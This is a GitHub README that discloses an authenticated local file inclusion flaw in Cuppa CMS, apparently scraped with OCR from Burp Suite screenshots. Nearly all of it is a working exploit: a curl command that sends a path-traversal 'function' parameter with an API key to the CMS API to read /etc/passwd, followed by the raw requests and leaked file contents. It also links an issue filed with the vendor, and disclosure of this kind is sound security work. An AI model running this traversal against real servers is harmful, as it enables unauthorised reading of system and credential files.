

Require valid credentials on Cuppa CMS.

☆ 0 stars 🍴 0 forks

☆ Star

🔔 Notifications

<> Code

🕒 Issues

🔗 Pull requests

🕒 Actions

📁 Projects

🛡 Security

📈 Insights

🔑 main ▾

Go to file



badru8612 Update README.md ...

on Jan 25 ⌚ 8

[View code](#)

README.md

CuppaCMS-Authenticated-LFI-Vulnerability

Require valid credentials on Cuppa CMS. Require valid api-key.

PoC:

```
curl -X POST http://192.168.10.115/cuppa/api/index.php -H "key: gbmZ48tzyLfx8PqpQ83e18nGFPqQldS" -d "function=../../../../../../../../../../../../../../../../../../../../etc/passwd/" -x "http://127.0.0.1:8080"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sssd:x:105:111:TPM2 software stack,,:/var/lib/sss/bin/false
dnsmasq:x:106:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:113:RealtimeKit,,:/proc:/usr/sbin/nologin
sblxd:x:109:65534::/run/sblxd:/usr/sbin/nologin
pulse:x:110:116:PulseAudio daemon,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false
avahi:x:112:118:Avahi mDNS daemon,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:113:119:/var/lib/saned:/usr/sbin/nologin
colord:x:114:120:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false
debian:x:1000:1000:debian,,:/home/debian:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
mysql:x:117:124:MySQL Server,,:/nonexistent:/bin/false
```

Request

1 POST /cuppa/api/index.php HTTP/1.1

2 Host: 192.168.10.115

3 User-Agent: curl/7.74.0

4 Accept: */*

5 key: gbnZ48tzyLfx9PqapQ8eLanGFPqQldS

6 Content-Length: 112

7 Content-Type: application/x-www-form-urlencoded

8 Connection: close

9

10 function=../etc/passwd/

Response

1 HTTP/1.1 200 OK

2 Date: Mon, 24 Jan 2022 19:39:51 GMT

3 Server: Apache/2.4.38 (Debian)

4 Set-Cookie: country=us; path=/

5 Set-Cookie: language=en; path=/

6 Set-Cookie: PHPSESSID=Sk0eLanG20kU3f7vgnehd3; path=/

7 Expires: Thu, 19 Nov 1981 08:52:00 GMT

8 Cache-Control: no-store, no-cache, must-revalidate

9 Pragma: no-cache

10 Access-Control-Allow-Origin: *

11 Access-Control-Allow-Headers: key

12 Vary: Accept-Encoding

13 Content-Length: 2191

14 Connection: close

15 Content-Type: text/html; charset=UTF-8

16

17 root:x:0:0:root:/root:/bin/bash

18 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

19 bin:x:2:2:bin:/bin:/usr/sbin/nologin

20 sys:x:3:3:sys:/dev:/usr/sbin/nologin

21 sync:x:4:65534:sync:/bin:/bin/sync

22 games:x:5:60:games:/usr/games:/usr/sbin/nologin

23 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

24 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

25 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

26 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

27 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

28 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

29 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

30 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

31 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin

32 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

33 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

34 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

35 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

36 systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin

37 systemd-networkd:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin

38 systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin

39 messagebus:x:104:110::/nonexistent:/usr/sbin/nologin

40 tss:x:105:111:TPM2 software stack,,:/var/lib/tpm:/bin/false

41 dnsmasq:x:106:65534:dnsmasq,,:/var/lib/ncsi:/usr/sbin/nologin

42 usbmux:x:107:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin

43 rtkit:x:108:113:RealtimeKit,,:/proc:/usr/sbin/nologin

44 sashd:x:109:65534:/run/sashd:/usr/sbin/nologin

45 pulse:x:110:116:PulseAudio daemon,,:/var/run/pulse:/usr/sbin/nologin

46 speech-dispatcher:x:111:29:Speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false

Decoder	Comparer	Logger	Extender	Project options	User options	Learn	Request Timer	Logger++	JSON Web Tokens
Dashboard		Target		Proxy	Intruder		Repeater		Sequencer

1 x ...

Send Cancel < >

Target: http://192.168.10.115 HTTP/1

Request

1 POST /cuppa/api/index.php HTTP/1.1

2 Host: 192.168.10.115

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Cookie: country=us; language=en; PHPSESSID=qk6618oj3rs03pjafi4all0ubu; administrator_path=http%3A%2F%2F192.168.10.115%2Fcuppa%2F; administrator_document_path=%2Fcuppa%2F

9 Upgrade-Insecure-Requests: 1

10 Content-Type: application/x-www-form-urlencoded

11 Content-Length: 115

12

13 function=../etc/passwd/

14

Response

1 HTTP/1.1 200 OK

2 Date: Sat, 22 Jan 2022 05:17:37 GMT

3 Server: Apache/2.4.38 (Debian)

4 Set-Cookie: country=us; path=/

5 Set-Cookie: language=en; path=/

6 Expires: Thu, 19 Nov 1981 08:52:00 GMT

7 Cache-Control: no-store, no-cache, must-revalidate

8 Pragma: no-cache

9 Access-Control-Allow-Origin: *

10 Access-Control-Allow-Headers: key

11 Content-Length: 62

12 Connection: close

13 Content-Type: text/html; charset=UTF-8

14

15 {

16 "error": "-1",

17 "error_message": "API Key required"

18 }

INSPECTOR

Burp	Project	Intruder	Repeater	Window	Loggger++	Help			
Decoder	Comparator	Logger	Extender	Project options	User options	Learn	Request Timer	Loggger++	JSON Web Tokens
Dashboard		Target		Proxy	Intruder		Repeater	Sequencer	
1 x ... <input type="button" value="Send"/> <input type="button" value="Cancel"/> <input type="button" value="←"/> <input type="button" value="→"/>							Target: http://192.168.10.115 <input type="text"/> HTTP/1 <input type="button" value="?"/>		
Request							Response		
<input checked="" type="radio"/> Pretty <input type="radio"/> Raw <input type="radio"/> Hex <input type="radio"/> \n <input type="radio"/> ☰							<input checked="" type="radio"/> Pretty <input type="radio"/> Raw <input type="radio"/> Hex <input type="radio"/> Render <input type="radio"/> \n <input type="radio"/> ☰		
<pre> 1 POST /cuppa/api/index.php HTTP/1.1 2 Host: 192.168.10.115 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Cookie: country=us; language=en; PHPSESSID=qk6e1Boj3rs0pjafi4all8ubu; administrator_path=http%3A%2F%2F192.168.10.115%2Fcuppa%2F; administrator_document_path=%2Fcuppa%2F 9 key: gbmZ4Btzylfx8PqpQB3elbnGFpqQldS 10 Upgrade-Insecure-Requests: 1 11 Content-Type: application/x-www-form-urlencoded 12 Content-Length: 115 13 14 function= 15 ../etc/passwd/ </pre>							<pre> 1 HTTP/1.1 200 OK 2 Date: Sat, 22 Jan 2022 05:13:10 GMT 3 Server: Apache/2.4.38 (Debian) 4 Set-Cookie: country=us; path=/ 5 Set-Cookie: language=en; path=/ 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Access-Control-Allow-Origin: * 10 Access-Control-Allow-Headers: key 11 Vary: Accept-Encoding 12 Content-Length: 2193 13 Connection: close 14 Content-Type: text/html; charset=UTF-8 15 16 root:x:0:0:root:/root:/bin/bash 17 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 18 bin:x:2:2:bin:/bin:/usr/sbin/nologin 19 sys:x:3:3:sys:/dev:/usr/sbin/nologin 20 sync:x:4:65534:sync:/bin:/bin/sync 21 games:x:5:60:games:/usr/games:/usr/sbin/nologin 22 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 23 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 24 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 25 news:x:9:news:/var/spool/news:/usr/sbin/nologin 26 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 27 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 28 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 29 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 30 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 31 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 32 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin 33 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 34 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin 35 systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/no 36 systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nolog 37 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 38 messagebus:x:104:110:/nonexistent:/usr/sbin/nologin 39 tss:x:105:111:PM2 software stack,,,:/var/lib/tpm:/bin/false 40 dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 41 unbound:x:107:65534:unbound,,,:/lib/bind:/usr/sbin/nologin </pre>		

Issue submitted to: [CuppaCMS/CuppaCMS#20](#)

Releases

No releases published

Packages

No packages published

Languages

- Python 100.0%